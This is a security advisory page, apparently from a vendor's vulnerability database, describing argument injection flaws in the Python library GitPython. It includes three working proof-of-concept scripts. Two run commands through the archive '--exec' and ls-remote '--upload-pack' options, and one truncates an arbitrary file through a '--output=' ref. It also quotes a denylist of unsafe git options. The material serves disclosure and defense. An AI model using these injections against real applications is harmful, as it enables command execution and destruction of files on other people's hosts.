Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI

GHSA-956x-8gvw-wg5v

HIGH

GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`

Published
Jul 21, 2026
Updated
Jul 23, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
🐍gitpython

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

GitPython spawns the real git binary with an argument vector built from caller-supplied values. To prevent argument injection, GitPython maintains denylists of "unsafe" Git options (--upload-pack, --receive-pack, --exec, -c, --config, …) that can be abused to run arbitrary commands, and enforces them with Git.check_unsafe_options().

That enforcement is only wired into the network commands — clone_from, Remote.fetch, Remote.pull, Remote.push. Several other public APIs that also forward caller-controlled values into the git argv have no guard at all:

  1. Repo.archive(ostream, treeish=None, prefix=None, **kwargs) forwards **kwargs verbatim into git archive. An attacker-influenced options mapping such as {"remote": ".", "exec": "<cmd>"} becomes git archive --remote=. --exec=<cmd> -- <treeish>, and git archive --remote=<local repo> invokes git-upload-archive whose path is overridden by --execarbitrary command execution under default Git configuration (no protocol.ext.allow needed).

  2. repo.git.ls_remote(<url>, upload_pack="<cmd>") (and the dynamic-command builder generally) turns the upload_pack kwarg into --upload-pack=<cmd> with no guard → arbitrary command execution.

  3. Repo.iter_commits(rev) and Repo.blame(rev, file) place the caller's rev value into the argv before the -- end-of-options separator and apply no leading-dash check. A benign-looking ref value such as --output=/path/to/file is parsed by git rev-list / git blame as the --output option, which opens and truncates an arbitrary file before Git even validates the revision → arbitrary file clobber (integrity/availability; can destroy keys, configs, lockfiles, or be aimed at files the host later sources).

The first two are direct code execution; the third is an arbitrary file-overwrite primitive. All share one root cause: the check_unsafe_options / end-of-options discipline that GitPython applies to clone/fetch/pull/push was never extended to these sinks.

Details

GitPython explicitly recognises these options as command-execution vectors. git/remote.py:535:

unsafe_git_fetch_options = [
    # Arbitrary command execution.
    "--upload-pack",
    "--receive-pack",
    # Arbitrary file overwrite.
    "--exec",
]

and enforces them via Git.check_unsafe_options() (git/cmd.py:963):

def check_unsafe_options(cls, options, unsafe_options):
    ...
    if unsafe_option is not None:
        raise UnsafeOptionError(f"{unsafe_option} is not allowed, use `allow_unsafe_options=True` to allow it.")

But check_unsafe_options is invoked from only five sites, all network commands:

git/remote.py:1071   Remote.fetch
git/remote.py:1125   Remote.pull
git/remote.py:1198   Remote.push
git/repo/base.py:1410 / :1412  Repo.clone_from

The following sinks call git with caller-controlled options/positionals and are not guarded:

1. Repo.archive — command execution (git/repo/base.py:1623)

def archive(self, ostream, treeish=None, prefix=None, **kwargs):
    ...
    self.git.archive("--", treeish, *path, **kwargs)
    return self

treeish and path are correctly placed after --, but **kwargs are converted by Git.transform_kwarg (git/cmd.py:1487) into --<name>=<value> flags and inserted before the -- by _call_process, with no check_unsafe_options. Repo.archive already documents user-facing kwargs (format, prefix, path), so forwarding a caller options mapping is an expected usage. Final argv:

git archive --remote=. --exec=<cmd> -- <treeish>

git archive --remote=<repo> runs the upload-archive helper; --exec=<cmd> overrides the helper path, executing <cmd> on the host. This works with default Git config — it does not rely on the ext:: transport (which is blocked by default).

2. repo.git.ls_remote(..., upload_pack=...) — command execution (dynamic builder, git/cmd.py:1487)

transform_kwarg dashifies upload_pack--upload-pack=<value>. git ls-remote <local-repo> --upload-pack=<cmd> executes <cmd>. The dynamic builder makes both the flag name and value caller-controlled (repo.git.<anything>(**user_dict)), and ls_remote has no check_unsafe_options.

This is exactly the underscore-kwarg-vs-hyphen-kwarg gap that CVE-2026-42215 fixed for fetch/pull/push/clone_from — but ls_remote and the rest of the dynamic surface were left unpatched.

3. Repo.iter_commits / Repo.blame — arbitrary file overwrite (git/objects/commit.py:348, git/repo/base.py:1199)

# Commit.iter_items (reached via Repo.iter_commits)
proc = repo.git.rev_list(rev, args_list, as_process=True, **kwargs)   # args_list == ["--", *paths]
# Repo.blame
data = self.git.blame(rev, *rev_opts, "--", file, p=True, stdout_as_string=False, **kwargs)

rev is placed before --, with no leading-dash check anywhere in the path. A caller passing rev="--output=/path" (a value that looks like an ordinary ref/branch/tag string an app forwards from user input) produces:

git rev-list --output=/path --

git rev-list/log/blame honour --output=<file>, which open()s and truncates the file before validating the revision — so the file is destroyed even though Git then errors out on the bad revision.

PoC

All three PoCs are self-contained, run against the released GitPython 3.1.50 under default Git configuration, and were executed live (git 2.51.0). Each prints a host-side marker proving the effect.

Install

python3 -m venv venv && . venv/bin/activate
pip install GitPython           # resolves to 3.1.50
python -c "import git; print(git.__version__)"   # 3.1.50

PoC 1 — command execution via Repo.archive

# archive_rce.py
import io, os, tempfile, subprocess, git

d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','[email protected]','-c','user.name=a',
                'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)

marker = os.path.join(tempfile.gettempdir(), 'gp_rce_marker')
if os.path.exists(marker): os.remove(marker)

# a service lets a user export a repo and forwards their options dict
opts = {'remote': '.', 'exec': 'touch ' + marker}
try:
    repo.archive(io.BytesIO(), **opts)
except git.exc.GitCommandError as e:
    print('[*] git exited non-zero (expected), but the exec already ran:', str(e).splitlines()[0][:60])

print('[+] marker present:', os.path.exists(marker))

Verbatim output:

[*] git exited non-zero (expected), but the exec already ran: Cmd('git') failed due to: exit code(128)
[+] marker present: True

git config --get protocol.ext.allow returns nothing (unset = default), confirming no special config is required.

PoC 2 — command execution via git.ls_remote(upload_pack=...)

# lsremote_rce.py
import os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','[email protected]','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
marker = os.path.join(tempfile.gettempdir(),'gp_lsr_marker')
if os.path.exists(marker): os.remove(marker)
try:
    repo.git.ls_remote('.', upload_pack='touch '+marker+';')
except git.exc.GitCommandError as e:
    print('[*] git err:', str(e).splitlines()[0][:50])
print('[+] ls-remote marker present:', os.path.exists(marker))

Verbatim output:

[*] git err: Cmd('git') failed due to: exit code(128)
[+] ls-remote marker present: True

PoC 3 — arbitrary file overwrite via a benign-looking rev

# itercommits_filewrite.py
import os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','[email protected]','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
victim = os.path.join(tempfile.gettempdir(),'gp_fw_victim')
open(victim,'w').write('do not delete\n')
print('[*] before:', repr(open(victim).read()))
user_ref = '--output=' + victim          # value an app forwards as a "ref/branch"
try:
    list(repo.iter_commits(user_ref))
except git.exc.GitCommandError as e:
    print('[*] git err (after open+truncate):', str(e).splitlines()[0][:50])
print('[+] after :', repr(open(victim).read()), '<- truncated')

Verbatim output:

[*] before: 'do not delete\n'
[*] git err (after open+truncate): Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIgitpythonall versions3.1.51

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gitpython. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update gitpython to 3.1.51 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-956x-8gvw-wg5v is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-956x-8gvw-wg5v is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-956x-8gvw-wg5v. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary GitPython spawns the real `git` binary with an argument vector built from caller-supplied values. To prevent argument injection, GitPython maintains denylists of "unsafe" Git options (`--upload-pack`, `--receive-pack`, `--exec`, `-c`, `--config`, …) that can be abused to run arbitrary commands, and enforces them with `Git.check_unsafe_options()`. That enforcement is only wired into the **network** commands — `clone_from`, `Remote.fetch`, `Remote.pull`, `Remote.push`. Several other public APIs that also forward caller-controlled values into the `git` argv have **no guard at all**:
O3 Security · Impact-Aware SCA

Is GHSA-956x-8gvw-wg5v in your dependencies?

O3 detects GHSA-956x-8gvw-wg5v across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.